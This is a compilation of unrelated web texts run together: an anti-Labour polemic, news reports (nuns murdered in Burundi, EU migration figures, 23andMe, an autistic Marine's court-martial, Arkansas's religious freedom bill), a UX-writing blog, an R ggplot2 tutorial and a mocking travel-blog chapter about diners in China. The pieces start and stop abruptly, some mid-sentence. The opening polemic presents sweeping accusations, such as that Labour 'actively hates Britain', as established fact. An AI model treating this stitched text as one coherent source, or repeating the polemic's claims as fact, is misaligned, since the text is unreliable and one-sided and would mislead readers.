Labour in fact turned from a party that was claimed to be of the people and instead became one that ran for the 1%, the predators not the producers, the rich and powerful, not the small and needy. In Labour’s Britain if you were wealthy you would pay less tax than under the current Tory Government and could buy a peerage if you donated enough. Meanwhile the poorest found themselves having their taxes raised with the 10p rate being slashed. Labour found it would rather suck up to its union paymasters – many of us still remember the three day working week when millions of British people suffered thanks to Labour’s capituation to the unions – lowering standards in education, raising the cost of train travel among others rather than stick up for the majority of Brits. Small business was strangled by tax and regulation while big corporations could game the system and receive massive bailouts when it all went wrong. Finally of course Labour left us with eye watering debt, ‘there’s no money left’ in their words, meaning you and your children and their children will be working for most of your lives to pay off Labour’s debt.
The very same party will continue to try and get another chance to further trash Britain, sans Gordon Brown of course, who while taking his MP’s salary prefers to earn a fortune on the speaking circuit rather than represent his constituents, while Tony Blair, the chief architect of New Labour, earns millions advising corrupt and brutal regimes.
There can be no doubt that Labour is a party that not only works against the interests of the vast majority of British people, especially those that are poor, vulnerable or needy, but worst of all, actively hates Britain, and is willing to ignore deaths and negligence for political gain, crush the future of young people for political point scoring and ease and send Brits to their deaths for lies. It is time this contemptuous party is treated with the very same contempt it saves for the British people.
UPDATE: It was inevitable that some of Labour’s attacks on Britain would be forgotten. I apologise for not mentioning Labour’s sickening attack on pensions, when Gordon Brown decimated pensions, setting many British families back years. Along with Labour’s rank hypocrisy over the bedroom tax which is every inch a Labour policy. I am sure there are many other things that I have missed, it is so hard to keep up with Labours many, many attacks on the British people.
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RedditPope Francis is 'greatly saddened' by attack and has sent his condolences
The nun who found them and raised the alarm was also found dead later
Two were found 'partially decapitated' and raped in their dorm on Sunday
They had been at Roman Catholic convent in Kamenge, Burundi, for 7 years
Three elderly Italian nuns were raped and beaten before two were decapitated and another murdered in a convent in Burundi.
The bodies of Bernardetta Boggia, 79, Lucia Pulici, 75, and Olga Raschietti, 82, were found in their dormitory in Kamenge, north of the capital of Bujumbura.
Police said three suspects had been detained for questioning as they probe claims it was a botched robbery at the hands of a mentally unbalanced attacker.
Scroll down for video
Horrific: Lucia Pulici (left) and Olga Rachietti (right) were raped and decapitated in their convent in Burundi
Murdered: Bernadette Boggia, 79, (left) was also killed after finding her fellow missionaries slain in their room
Father Mario Pulicini, who is responsible for the parish in a northern suburb of Bujumbura, said Ms Pulici and Ms Raschietti were found 'partially decapitated' in their dormitory on Sunday. It appeared all three Italian nuns had been raped.
Ms Pulici had been celebrate her 76th birthday on Monday.
The third nun, Ms Boggia, found the pair and raised the alarm.
But early on Monday morning other missionaries heard suspicious noises and rushed to find Ms Boggia also dead in her room.
Video courtesy of Rome Reports
Devastated: Colleagues and the Vatican are mourning the loss as police probe claims it was a botched robbery
Attack: The attacker appears to have broken into the Roman Catholic convent during the night on Sunday
Grief: The missionaries at the convent (pictured) had been due to celebrate Ms Pulici's 76th birthday on Monday
'It is very difficult to know the reason behind the killing, but nothing can justify it,' Father Mario said.
Evidence showed that two of the Roman Catholic nuns had been raped before they were killed, police spokesman Hermenegilde Harimenshi said.
The Vatican said Pope Francis was 'greatly saddened' by the killings of the women, who had worked at the African convent for years. Ms Boggia had been there since the 1970s.
Dedicated: Ms Boggia pictured recently teaching children at the convent's school how to write
Investigation: Father Mario Pulcini, abbot of the parish, is in talks with police to help catch the attacker
'Pope Francis has learned with great sadness of the murder of three nuns,' Vatican Secretary of State Cardinal Pietro Parolin said in a telegram sent on the pope's behalf.
The pope offered condolences in the 'tragic death' of the nuns to their families, the local parishioners and the sisters' order, the Xavarian Missionary Sisters of Mary.
The Catholic diocese in Parma, Italy, said on its website that the death of Pulici and Raschietti appeared to have been 'the tragic outcome of an armed robbery by a mentally unbalanced person'.David Cameron has refused a request to release statistics that Eurosceptics say will prove how many EU migrants actually enter Britain every year.
HMRC issues thousands more national insurance numbers to EU migrants than officially arrive in Britain but the tax office has repeatedly refused to publish the figures on the grounds that it might influence the outcome of June's EU referendum.
Leading Eurosceptic Tory MP David Davis demanded the Prime Minister step in to tell HMRC to release the figures 'immediately' so voters are given the 'truth' about EU immigration.
Figures published by the Office of National Statistics (ONS) last month found 257,000 EU migrants came to the UK last year but over the same period 630,000 EU citizens registered for a national insurance number
Leading Eurosceptic Tory MP David Davis (pictured left at Prime Minister's Questions today) demanded the Prime Minister (pictured right) step in to tell HMRC to release the figures 'immediately' so voters are given the 'truth' about EU immigration
A national insurance number is needed to get a job or claim benefits in the UK and whereas UK-born nationals are automatically assigned a number, those arriving from abroad must register with the Department for Work and Pensions, meaning the Government holds the data on record.
Figures published by the Office of National Statistics (ONS) last month found 257,000 EU migrants came to the UK last year but over the same period 630,000 EU citizens registered for a national insurance number.
In the last five years 2.25million EU nationals have registered for a national insurance number but according to the ONS just one million EU citizens have arrived in the country in the same period.
HMRC has refused to say how many of those national insurance numbers given to EU workers are active and have left the gap between the two sets of data unexplained.
ROMANIAN AND BULGARIAN IMMIGRATION UP BY 38 PER CENT The latest immigration figures from the Office for National Statistics found that in the 12 months to September 2015: 617,000 people arrived in the UK. This is up 0.3 per cent on the previous year. 257,000, or 42 per cent, arrived from the European Union. This figure is up 4 per cent on the year. 130,000, or 21 per cent, arrived from the 'EU15' group of countries: Austria, Belgium, Denmark, Finland, France, Germany, Greece, Ireland, Italy, Luxembourg, Netherlands, Portugal, Spain and Sweden. This figure is up 5 per cent on the previous year. 69,000, or 11 per cent, came from the 'EU8' group of countries: Czech Republic, Estonia, Hungary, Latvia, Lithuania, Poland, Slovakia and Slovenia. This figure fell on the year by 9 per cent. 55,000, or 9 per cent, came from Bulgaria and Romania. This was up 38 per cent on the year. The remaining 2,00 (0.3 per cent) came from Malta, Cyprus and Croatia. This figure was down by 60 per cent on the previous year.
'For five or six years national insurance numbers issued to EU migrants have been hundreds of thousands higher than the official immigration figures,' he said at Prime Minister's Questions today.
'This implies the official immigration figures may be a dramatic underestimate.
'We can only know the truth of the matter if HMRC release their data on active EU national insurance numbers, which has HMRC has refused to do.'
But Mr Cameron dodged the question, insisting that the reason why the national insurance numbers and official migration figures do not match is because workers can get a national insurance for a'very short-term visit'.
'People who are already here but without a national insurance number can apply for them. So these numbers are quite complex,' he added.
But former civil servant Jonathan Portes, who has had several requests for the figures rejected by HMRC, said the 'huge discrepancy' between the number given national insurance numbers and the number who officially enter the UK could not be explained by short-term visits.
'It is massive and it did not used to be this big,' he said, and accused the Government of trying to cover up the true extent of migration from the EU.
'The Government is hiding this data. They claim it would interfere with the renegotiation. It is genuinely outrageous.
Which ever side of the argument you are, on immigration or on the EU, the electorate deserves to have the facts and the data.'
Figures published by the Office of National Statistics last month found 257,000 EU migrants came to the UK last year but over the same period 630,000 EU citizens registered for a national insurance number.
Writing later on his website, Mr Davis said: 'It is an old cliché that there are three kinds of lies: lies, damned lies, and statistics.
'But this week the Government has breathed new life into this rule, as they showed that they are willing to bury the true scale of immigration into the UK with the help of some very dodgy statistics.'
THE QUEEN'S SPEECH IS DELAYED AS DAVID CAMERON THROWS EVERYTHING AT WINNING THE EU REFERENDUM The Queen, pictured with Prince Philip during last year's State Opening, does not yet have a date for her next visit to Parliament for the State Opening The Queen's Speech is set to be delayed until after the EU referendum as the Government throws everything at the historic poll. The set-piece constitutional occasion has generally been held in May following the move to fixed term Parliaments in 2010. It is an annual occasion for the Government to announce its legislative plans for the year ahead and sees a full display of Royal pageantry as the Queen visits Parliament to read out the remarks. But the ceremony has reportedly been pushed back to after the June 23 referendum as David Cameron plans for how he will bring his party back together. The Times said the event would be accompanied by the expected post-referendum reshuffle as the Prime Minister bids to get back on the front foot. When it comes, the speech is thought likely to include prison reforms, an expansion of health devolution and further legislation to end discrimination.
'It's like Halloween come early': Latest document released by David Cameron warning of Brexit risks dismissed by his own ministers as a 'dogy dossier' and 'yet more scaremongering'
David Cameron's latest report on the warnings of leaving the EU has been dismissed by his own ministers as more'scaremongering' and was even mocked as 'like Halloween come early'.
The fresh analysis from government officials claimed a Brexit would lead to rising food and clothes prices and fewer jobs.
But human rights minister Dominic Raab hit out the Government report on the alternatives of EU membership, saying it was just the latest'scare story... about the ghoulish prospects outside the European Union'.
And Iain Duncan Smith, one of the leading Eurosceptic Cabinet ministers, branded the document a 'dodgy dossier'.
David Cameron (pictured left leaving Downing Street this morning) was accused of publishing more'scaremongering' warnings by his own justice minister Dominic Raab (pictured right), who said the'scare stories' circulated by the Government was 'like Halloween come early'
The paper - which looks at arrangements adopted by Norway, Switzerland and Canada as
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special.
Life or death example: Airplane safety placard
I’ve never been in an airplane as it made a water landing. But I have told flight attendants that I would be willing to open the emergency door, if I were asked to.
I’ve even imagined being in that state: panicked, but still alive; adrenaline coursing; heart pounding. Even as a word-savvy person, this is not the moment I’ll stop, read, and understand with great clarity.
On a Boeing 787 Dreamliner, I took this picture of the door:
Interior door of a Boeing 787 Dreamliner, where a label says “VISUALLY ENSURE THE MODE SELECT HANDLE IS FULLY INSIDE THE RED PLACARD FOR ARMED AND GREEN PLACARD FOR DISARMED”
The label on the door has 19 words: “Visually ensure the mode select handle is fully inside the red placard for armed and green placard for disarmed”
My rewrite uses 11 words…
My rewrite for the interior door of the Boeing 787 Dreamliner: “CHECK BEFORE OPENING / HANDLE IN RED: ARMED / HANDLE IN GREEN: DISARMED”
…but this gets dangerous. Personally and professionally, I have no idea what it means for a door to be armed or disarmed. I estimate that 99% of people on a commercial 787 flight don’t know, either. If I were a UX writer for Boeing, I’d ask: What should most people understand when they read these words? Could we label the red and green areas directly, and serve people who are red/green colorblind, too?
Getting from A to B example: Good To Go website for Washington State’s toll roads
Washington State’s Good To Go! program exists to pay for highway and bridge infrastructure. Customers go to the site so they can pay tolls electronically, at lower cost than paying them by mail.
I am a citizen of Washington State, and I use the Good To Go service. I appreciate that the service allows me to pay at highway speeds without stopping at a toll plaza. I like that I can pay by credit card, without generating extra paper bills.
I am also frustrated each time I use the website, because it includes so many extra words. Here’s the first screen of the “open a new account” experience. It has so many words that it requires a scroll bar:
When a customer scrolls, only one missing item is revealed: the “Begin” button:
In contrast, if they used fewer words, it could take only one screen:
Interpersonally: Using fewer words face to face
There’s a rhetorical technique of inundating the listener with words. Sentences never end; instead, phrases are strung together with a series of conjunctions.
A flood of words is a red flag: If someone won’t shut up, they might be using words to wear down the other person. The words don’t even have to be true, if they are said constantly.
The listener may get details about the glorious future — details that are so specific, they feel like they must be true! Those are often alternated with stories of doom: how horrible it is for “those others” –the non-listeners — who were so foolish as to not be convinced.
It’s the script for every meeting where one person is convincing another to do something that’s not in their best interest.
To be more trustworthy, I use fewer words, in shorter sentences. That clarity gives the listener mental “space” to formulate their own considerations. I trust them to reach the same conclusions I’ve come to — without needing to drown them in words.
Using fewer words isn’t a panacea to fix every user experience; it’s just one guideline, together with all the others employed by excellent writers, designers, developers, program managers, and researchers. It’s how UX writers reduce the text to create experiences that let people to do more of what they want to do — not waste their time reading explanations of how to do it.23andMe, the Mountain View genetics testing company, has received approval from the Food and Drug Administration to sell tests that indicate people’s risk of developing 10 diseases including Parkinson’s, Alzheimer’s, celiac and some blood clotting disorders.
The approval, announced by the company Thursday, marks a partial reversal by the FDA. In 2013, the agency ordered 23andMe to suspend the sale of its flagship product, which analyzed customers’ genes and assessed their predisposition for developing hundreds of diseases.
23andMe,a privately held firm founded in 2006, is the first company to receive authorization from federal regulators to sell, directly to consumers, tests showing personal risk for certain diseases.
“This is an important moment for people who want to know their genetic health risks and be more proactive about their health,” 23andMe co-founder and CEO Anne Wojcicki said in a statement. “It is a significant step forward for 23andMe and for the adoption of personal genetics.”
23andMe tests for genetic health risks and ancestry by analyzing a saliva sample. The company has more than 2 million customers, according to a spokeswoman.
The company is considered a Silicon Valley darling in the field of genetic testing, having received $126 million from Google Ventures and other prominent investors. Wojcicki was previously married to Google co-founder Sergey Brin.
In 2013, when the FDA issued a warning letter to 23andMe, regulators said they were concerned the company had not provided data to show its tests were accurate, and that people might use the information to make health decisions, such as seeking surgery after discovering they carried the BRCA gene mutation, which increases a woman’s risk for breast cancer. After this, the company suspended genetic health reports but continued selling ancestry reports. It resumed the sale of some genetic health reports in 2015, but in a more limited way. It never resumed the BRCA test.
“What’s different now is 23andMe has provided sufficient data to show the tests are accurate,” FDA spokeswoman Tara Goodin said Thursday.
The company also faces a 2013 lawsuit that claims it misled consumers by advertising its test kits without providing clinical data that they are accurate and safe. The company declined to comment on the pending litigation but said the newly approved genetic health reports “meet the FDA’s pre-market requirements to demonstrate analytical accuracy, clinical validity and user comprehension.”The Marine Corps is investigating how an autistic man now facing court-martial managed to join the service and graduate from boot camp in San Diego.
His case raises broader questions about the enlistment process – regarding such matters as recruiters who distort applicants' personal information – and the fairness of the military's criminal justice system.
Pvt. Joshua D. Fry was diagnosed with autism at age 8. The complex brain-development disorder typically impairs a person's comprehension skills, inhibits communication and results in restricted and repetitive behavior. Genetics often play a major role, although the overall causes are unclear.
Fry graduated from the Marine Corps Recruit Depot in April 2008 even after telling commanders and medical personnel there about his autism, according to court documents.
Weeks later, during infantry training at Camp Pendleton, the Corps charged Fry with possession of child pornography and being absent without leave. Fry, 21, now sits in the base's brig.
He is receiving psychotropic medications while awaiting a court-martial that could keep him in prison for years. The service hasn't disclosed details of his arrest and hasn't announced a date for the trial.
Fry's attorney, Michael Studenka of Newport Beach, had urged Judge Col. John Ewers not to put Fry on trial.
In a 35-page brief, Studenka said that a Marine took advantage of Fry to meet his recruitment quotas and that other Marine officials failed to intervene later on. Studenka also alleged that the recruiter knew about Fry's history of mental disability, which included a 15-month stay at a lockdown treatment center in Denver.
Studenka said Fry lacks the mental capacity to sign an enlistment contract. He introduced a 2006 court order – a limited conservatorship – from an Orange County probate judge that found Fry to be “developmentally disabled” and “unable to provide for his... personal needs for physical health, food, clothing or shelter.”
The order banned Fry from signing contracts or making most life decisions. Studenka tried to convince Ewers that the restriction applied to military contracts as well.
“Because the accused never had capacity to contract, his enlistment is void,” Studenka wrote in his brief. “The accused enlistment was involuntary and therefore is voidable.”
Ewers did not see it that way.
“The defense motion to dismiss for lack of... jurisdiction was denied,” Lt. Col. Sean Gibson, a Marine spokesman at Camp Pendleton, wrote in a statement to The San Diego Union-Tribune.
Studenka declined to comment on the case, and Fry couldn't be interviewed because he is in the brig.
Continuing to press charges against Fry doesn't make sense, said Eugene Fidell, president of the National Institute of Military Justice in Washington, D.C.
“This strikes me as a stupid case to prosecute,” said Fidell, a senior partner in the law firm Feldesman Tucker Leifer Fidell. “I think the chief of military justice should intervene to have the case dropped. It does not foster confidence in the recruitment process or military law.”
The Marine Corps is looking into how Fry was able to enlist, said Maj. Christopher Logan, a spokesman for the service's Western Recruiting Region.
Mary Beth Fry, Fry's grandmother and legal guardian, largely blames the Marine Corps for the mess and wonders if her grandson's enlistment is an aberration.
“If the (Marines) have done this to Josh, who else have they done this to?” she said.
During a brief interview, she didn't say when she first learned about her grandson being in the Marine Corps.
Joshua Fry's legal troubles add another chapter to what has been a difficult life.
He was born Jan. 8, 1988, to a heroin-addicted mother whose whereabouts are unknown and a crack-addicted father who has died. He spent his first year on the streets of Los Angeles until his parents were arrested and he was sent to a foster home.
Fry still couldn't speak by age 3, when his grandmother adopted him. He struggled with behavioral problems – including violence, stealing and self-abuse – throughout childhood.
Under his grandmother's care, Fry underwent more than 10 years of therapy.
“He can carry on a conversation with you. He can look you in the eye. But anyone who spends any time with Josh knows he's autistic,” Mary Beth Fry said.
Recruiter misconduct tends to have a pattern across the military branches, according to a 2006 study by the U.S. State Department's Bureau of Democracy, Human Rights and Labor.
The report said 77 percent of the 518 confirmed cases of misconduct during fiscal 2006 arose from recruiters concealing or falsifying information, imposing undue influence on recruits or not paying enough attention to “quality control” aspects of the enlistment process.
It also ranked the Marine Corps as having the highest percentage of recruiter-misconduct claims that were substantiated – slightly more than 50 percent in 2006. The Navy had the next highest level at a little less than 30 percent.
Joshua Fry enlisted through an office for Marine Corps Recruiting Station Orange County, which is part of the Western Recruiting Region.
The U.S. Defense Department doesn't mention autism as disqualifying a potential recruit.
But Logan, the spokesman for the Western Recruiting Region, said, “I think it is safe to say that if an individual is diagnosed with autism, not a lesser form or certain symptom thereof, the person would be disqualified from military service.”
In his court brief, Studenka said Gunnery Sgt. Matthew M. Teson is partly to blame because he enlisted Fry despite having heard about the young man's troubled past. Studenka accused Teson of being “deliberately ignorant of Fry's disqualifying condition and background.”
The Marine Corps didn't make Teson available for comment.
According to Studenka's brief, Teson met Fry around 2006 while Fry was attending Newport Harbor High School. That was before Fry's alleged theft, possession of stolen property and other behavioral problems led to his 15-month stint at the Devereux Cleo Wallace facility in Denver.
The center, where Fry graduated from high school, treats psychiatric, emotional and behavioral problems in people ages 8 to 21.Arkansas Gov. Asa Hutchinson (R) said Wednesday morning he will not sign a controversial religious liberty bill, saying he wants lawmakers to recall the bill and change it so that it more closely resembles federal law.
“This is a bill that in ordinary times would not be controversial,” he said during a news conference. “But these are not ordinary times.”
A similar bill in Indiana prompted a firestorm in that state, as critics — including the NCAA and Apple chief executive Tim Cook — assailed a law that critics said could be used to let businesses discriminate against gay couples. But on Tuesday, several hours after Indiana Gov. Mike Pence (R) said his state would “fix” the bill in response to the controversy, Arkansas legislators overwhelmingly voted to approve their own version of the law.
Proponents of these laws say they are necessary to protect the rights of religious people. The Arkansas law, called the Religious Freedom Restoration Act, says in its text that it exists to safeguard a person’s right not to do something that conflicts with their religious beliefs.
“This legislation doesn’t allow anybody to discriminate against anybody, not here,” State Rep. Bob Ballinger, a Republican who sponsored the bill, said in a telephone interview before it was passed on Tuesday. “The bill does just the opposite. It focuses on the civil rights of people believing what they want to believe, and not letting the government interfere with that.”
But the Indiana law and the Arkansas bill have drawn particular fire because unlike the federal religious freedom law signed into law by then-President Bill Clinton in 1993 and similar laws in states across the country, these new bills say that companies can have the same religious rights as individuals, which opponents say could be used to let businesses discriminate against gay couples.
Hutchinson’s decision not to sign the current bill “is a sign of progress,” Chad Griffin, president of the Human Rights Campaign, said Wednesday.
“But the proof will be in the pudding, and we must now wait to see what actions and language Governor Hutchinson and the Arkansas Legislature put forward in the coming days and weeks,” Griffin said in a statement. “It is imperative that any legislation that advances must have language that explicitly ensures that it will not undermine the fundamental rights of LGBT people and all other Arkansans.”
The White House was sharply critical of the Indiana and Arkansas laws on Wednesday.
“The thought that we would have state legislatures in the 21st century in the United States of America passing laws that would use religion to try to justify discriminating against people because of who they love is unthinkable,” Josh Earnest, the White House press secretary, said at a briefing.
Earnest said that the Indiana bill is “a terrible idea,” which prompted the outcry and forced Pence and Hutchinson to try and rework the legislation.
While Hutchinson said the current bill is fairly straightforward, he says the issue “has become divisive because our nation remains split over how to balance the diversity of our culture with the traditions and firmly held religious convictions.”
This fissure has reached his own household, Hutchinson said, describing how his son, Seth, signed a petition asking him to veto the bill.
[Analysis: The fundamental divisions in American politics]
Hutchinson, who took office earlier this year, had previously vowed to sign the bill, saying in a statement earlier this week that “if this bill reaches my desk in similar form as to what has been passed in 20 other states then I will sign it.”
However, his statement was issued before Indiana lawmakers said they would amend their bill and before Wal-Mart, among other business groups, called on him to veto it.
Doug McMillon, Wal-Mart’s chief executive, said in a statement after the bill was passed by state lawmakers that the legislation “threatens to undermine the spirit of inclusion present throughout the state of Arkansas and does not reflect the values we proudly uphold.”
“For these reasons, we are asking Governor Hutchinson to veto this legislation,” he said in a statement Tuesday.
This Arkansas bill includes language that says it would become law even if Hutchinson did nothing. An emergency clause in the bill’s text says that it goes into effect whether he signs off on it or simply lets it sit on his desk. (Emergency clauses are allowed by state law, as long as they are approved by two-thirds of state lawmakers, and both houses of the state legislature agreed to add the clause here.) However, it is unclear what happens to this language now that the bill may be withdrawn by state lawmakers for additional work.
Ballinger, an attorney who represents a district in northwestern Arkansas, argued Tuesday that his bill is similar to the federal law as well as those enacted around the country.
“What my bill does is protect a person’s right to believe what they want to believe,” he said. “That should be the focus of this bill, without being muddied by a bunch of other things. As it sits right now, it’s not going to enable a person to discriminate.”
This controversy has also extended to other states, leaving the fates of similar bills up in the air. A bill being considered in North Carolina would “make no sense,” Gov. Pat McRrory (R) said in a radio interview. Meanwhile, Georgia lawmakers scrapped a hearing that would have touched on their version of the bill Monday, leaving its immediate future uncertain as the legislative session is expected to end Thursday.
[How Republican presidential hopefuls have responded]
Arkansas State Rep. Clark Tucker, a Democrat, spoke on the House floor on Tuesday during a debate over adding anti-discrimination language. The language was not added, and the bill was sent to the governor’s desk that afternoon.
“I think everyone in this room is aware that this bill has attracted a lot of attention,” he said. “I think every member of this body and the vast majority of the general public supports protecting religious liberty. I do believe it’s attracted a lot of public attention because it creates the perception that it affirmatively authorizes discrimination.”
[This post has been updated.]The important criterion for a graph is not simply how fast we can see a result; rather it is whether through the use of the graph we can see something that would have been harder to see otherwise or that could not have been seen at all.
— William Cleveland, The Elements of Graphing Data, Chapter 2
In this article, I will discuss some graphs that I find extremely useful in my day-to-day work as a data scientist. While all of them are helpful (to me) for statistical visualization during the analysis process, not all of them will necessarily be useful for presentation of final results, especially to non-technical audiences.
I tend to follow Cleveland’s philosophy, quoted above; these graphs show me — and hopefully you — aspects of data and models that I might not otherwise see. Some of them, however, are non-standard, and tend to require explanation. My purpose here is to share with our readers some ideas for graphical analysis that are either useful to you directly, or will give you some ideas of your own.
The graphs are all produced in R, using the ggplot2 package. While ggplot2 has a fairly high learning curve, it is the most flexible of the R graphing packages that I have encountered, and I’ve been able to quickly create rich graphics more easily than I would be able to with the R base graphics, or with other graphics packages.
Let’s start with some exploratory analysis. We will use the AdultUCI dataset that is included in the arules package.
library(arules) data("AdultUCI") dframe = AdultUCI[, c("education", "hours-per-week")] colnames(dframe) = c("education", "hours_per_week") # get rid of the annoying minus signs in the column names
We want to compare the distribution of work-week length to education, using a box-and-whisker plot that is overlaid on a jittered scatterplot of the data.
library(ggplot2) ggplot(dframe, aes(x=education, y=hours_per_week)) + geom_point(colour="lightblue", alpha=0.1, position="jitter") + geom_boxplot(outlier.size=0, alpha=0.2) + coord_flip()
The outlier.size=0 argument to geom_boxplot turns off the outlier plotting, and coord_flip switches the coordinate axes (because there are a lot of education levels).
The resulting graph:
Recall that the box of a box-and-whisker plot covers the central 50% of the data distribution; the line in the center marks the median. In this case, the work-week length concentrates so strongly at 40 hours (except for PhDs and those with professional degrees; they are doomed to work longer hours, typically) that most of the boxes appear one-sided; it’s easier to see what is happening with both the scatterplot and box-and-whisker superimposed, than it might be with the box-and-whisker alone. We can also see the relative concentration of the subjects along each educational level.
I’ve found that this superimposed graph is fairly easy to explain in a presentation (easier than a plain box-and-whisker, actually). The primary disadvantage that the scatterplot can get illegible for high volume datasets (this set has about 49 thousand rows). In this case, we have to return to the box-and-whisker plot alone.
Beyond exploratory analysis, we also want plots to evaluate the models that we fit. Win-Vector’s bread-and-butter recently has been logistic regression, so we will start with some visualizations for evaluating binary logistic regression models. We’ll use the heart disease dataset that Hastie, et.al, used in the Elements of Statistical Learning.
path = "http://www-stat.stanford.edu/~tibs/ElemStatLearn/datasets/SAheart.data" saheart = read.table(path, sep=",",head=T,row.names=1) fmla = "chd ~ sbp + tobacco + ldl + adiposity + famhist + typea + obesity" model = glm(fmla, data=saheart, family=binomial(link="logit"), na.action=na.exclude)
We will make a data frame of chd (the true response, coronary heart disease), and the score from the model.
dframe = data.frame(chd=as.factor(saheart$chd), prediction=predict(model, type="response"))
The standard diagnostic plot for logistic models is the ROC curve, which is fine, but personally, I don’t get a visceral feel for the model from looking at the ROC. Also, if you are interested in setting a score threshold on the model for classification purposes, the ROC adds an additional level of indirection, since it essentially integrates the score away. I used to plot the distribution of score (prediction) versus true response, like so:
ggplot(dframe, aes(x=prediction, colour=chd)) + geom_density()
This visualization tells me whether or not the model scores actually separate the response — in this case, the model identifies negative cases (no coronary heart disease) better than positive cases. The graph is hard to explain to a non-technical audience, and it has the disadvantage that both distributions are separately normalized to have unit area, so you get no sense of the relative proportion of positive and negative cases (in this case, about 35% of the population have coronary heart disease).
Here’s an alternate graph:
ggplot(dframe, aes(x=prediction, fill=chd)) + geom_histogram(position="identity", binwidth=0.05, alpha=0.5)
This is two semi-transparent histograms; the blue histogram for chd=1 is “in front” of the the red histogram. Because they are histograms, rather than density plots, we can more clearly see the relative distribution of positive to negative cases, and we have a better sense of how well (or not) the model separates the positive cases from the negative ones. Clearly, for most score thresholds, the model will have a fairly high false positive rate. I use this visualization all the time, but it is also fairly hard to explain, the transparency in particular.
We can also use our friend the box-and-whisker scatterplot.
ggplot(dframe, aes(x=chd, y=prediction)) + geom_point(position="jitter", alpha=0.2) + geom_boxplot(outlier.size=0, alpha=0.5)
The median score for the coronary heart disease cases is pulled away from the median score of the healthy subjects, but the central 50% of the two distributions still overlap.
Finally, let’s look at visualizations for linear regression. We’ll use the prostate cancer data from Elements of Statistical Learning.
fmla = "lpsa ~ lcavol + lweight + age + lbph + svi + lcp + gleason + pgg45" model = lm(fmla, data=prostate.data)
We can just plot(model) for some diagnostic graphs:
par(mfrow = c(2, 2), oma = c(0, 0, 2, 0)) plot(model)
These diagnostics are useful to determine whether or not a linear model is suitable, and to identify outliers; but again, I personally don't get a visceral feel for the model. I prefer to directly plot prediction against true response:
dframe = data.frame(lpsa=prostate.data$lpsa, prediction=predict(model)) title = sprintf("Prostate Cancer model
R-squared = %1.3f", summary(model)$r.squared) ggplot(dframe, aes(x=lpsa, y=prediction)) + geom_point(alpha=0.2) + geom_line(aes(y=lpsa), colour="blue") + opts(title=title)
This graph gives you the same information as the Residuals vs. Fitted plot, and the Q-Q plot -- in particular, whether there is systematic over- or under-prediction in specific ranges of the data. It will expose outliers, and it is intuitive to explain when presenting your results. Furthermore, it can be used to evaluate other models that predict a continuous response, such as regression trees or polynomial fits.
Which graphs do you find especially useful for your day-to-day work?
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Considering the last few chapters have been pretty negative, well okay, all of them have been pretty negative, you’re most likely thinking, “you need some St. John’s Wort, Lee”. Of course, though, Clueless in Asia is about me having a whinge, sharing my experiences of living in Asia in hopes of helping others, and exposing myself for the bohemian fool that I am… and today is no different.
Chapters one to six of Clueless in Asia, was a collective introduction of how I found myself in China, and how I dealt with the initial stages of settling in. Today’s post is slightly less narrative, as it focuses on the topic of food, or restaurants to be more specific.
“How does this help me, Lee?”, well, it doesn’t, but what it does do, is offer a true and detailed account of what it’s like to eat in China and what to expect.
Continuing on from last week’s post, which saw me assaulted by a herd of unruly children, and having my lesson interrupted by a shirtless, ‘tits out’ maintenance man, and it’s here that I had left the public school out of refusal to go back, and started work in a new environment.
If you can recall from chapter 5, I had slept at the language centre ‘Chigang’ for two weeks, you know, the place where I had been threatened by the bandana-wearing, karate chopping skull scarf, and had been intimate with a cockroach, well, this centre was now my new place of work. I had taken over from Rex Kwon-Do and had become the main and only teacher for this centre.
The manager of this language centre was Ralph, and by this time, our friendship flourished as we had worked together on a daily basis (and lived near one another). My usual teaching schedule was then different from my previous position in the public school, as I would start work later. This meant that I had the pleasure of avoiding the chaotic morning metro commute.
Unfortunately, though, this did also mean that I would finish teaching around 9:00 pm, and not get home until after 10:00 pm. Because of this, lunch and dinner were then eaten at work accompanied by Ralph in the nearby surrounding restaurants.
I recall one evening, in particular, one that was the most intrusive of moments that had happened so far.
Myself and Ralph had just sat down at our favourite of restaurants, and we ordered the usual, “wo yao ga li ji”, I would say, asking for the curry chicken. No matter how perfectly I pronounced this simple phrase, it was always met with absolute shock and bemusement, that I, the alien could speak their dialect (literally, they would open mouth gawk).
Upon sitting at our table and awaiting our ticket number, an older man, who sat across from us, slid off his shoe by using the back of his leg, and like a bag of sand, lifted his barefoot, and dropped it onto the top of the table, knocking over and spilling a cup of hot water. He began picking at the dirt that cemented underneath his big toe with a toothpick, which resulted in lumps of feet scraps ‘debris’, to ping off in various directions.
Quite unbelievably, the man had turned his foot to the side, in an attempt to wash his foot in the water that he had spilt as if he was careening.
His wife, who was also shoeless (not to mention braless), seemed more ‘reserved’, as she only went so far as to put her naked trotters on the chair opposite her. She sat with her chin resting against her chest, as she shovelled the canteen style slob into her mouth, and only stopped to either burp or spit bones from her gob.
This was the Chinese equivalent of Roald Dahls, Mr and Mrs Twit, and I dare you to call me a liar.
My food had arrived, with thanks to the waitress carelessly sliding the food tray across the table, and I had begun eating. Under the sound of soup slurping coming from the table behind me, I heard a grunting noise from across the restaurant, now, if you’re a frequent reader of Clueless in Asia, you’ll know that when someone’s grunting… it’s usually aimed at me.
I had looked up to see that most concernedly, the barefooted couple were walking their way over to our table. The man, foully, was chewing down on his ‘toenail-picking-toothpick’ as he looked at me grinning. I had thought to myself panicking, “did they see me look at them in disgust? No, of course, they didn’t Lee, you bloody clod!”
Realising then that they had instead just noticed me for being a foreigner, I attempted to act as if I hadn’t seen them wanting to communicate with me. I brought my forehead to my right hand and continued to eat with my chopsticks in my left.
“F*ck sake”, I muttered under my breath as I heard the grunting directly above my head as they loomed over me.
As my head was down, I could see that the man’s bare feet had uninvitingly entered the void space under the table, and as it was my table, it was my bloody personal space that he had violated. The man’s big toe stood on top of my bag strap, with his toenail pointing at me sharply as if I was being held up by knifepoint.
Looking up, I was greeted with a soiled index finger pointing at my head, literally inches from my eyes. After a careful double take and leaning ever so slightly backwards, for fear of him poking my eyes out, I couldn’t believe that this man really was marking me with a point, whilst talking and looking at Ralph.
The man did not look at me, he did not acknowledge me, he simply, and unbelievingly, behaved in a way as if I wasn’t a human being, as if I was an inanimate object that he and his wife were enquiring the price of. They began ‘talking’ unnecessarily loud with Ralph, when the woman, whom still had a mouthful of meat, slobbered as she spoke; her husband could have turned her sideways, pumped her neck, and she would have been the best super soaker on sale!
Ralph had then turned to me and asked, “they want to take a picture with you, that okay?”.
“I’m eating!”, I said in surprise that Ralph had even asked me, dropping my chopsticks in a display of anger.
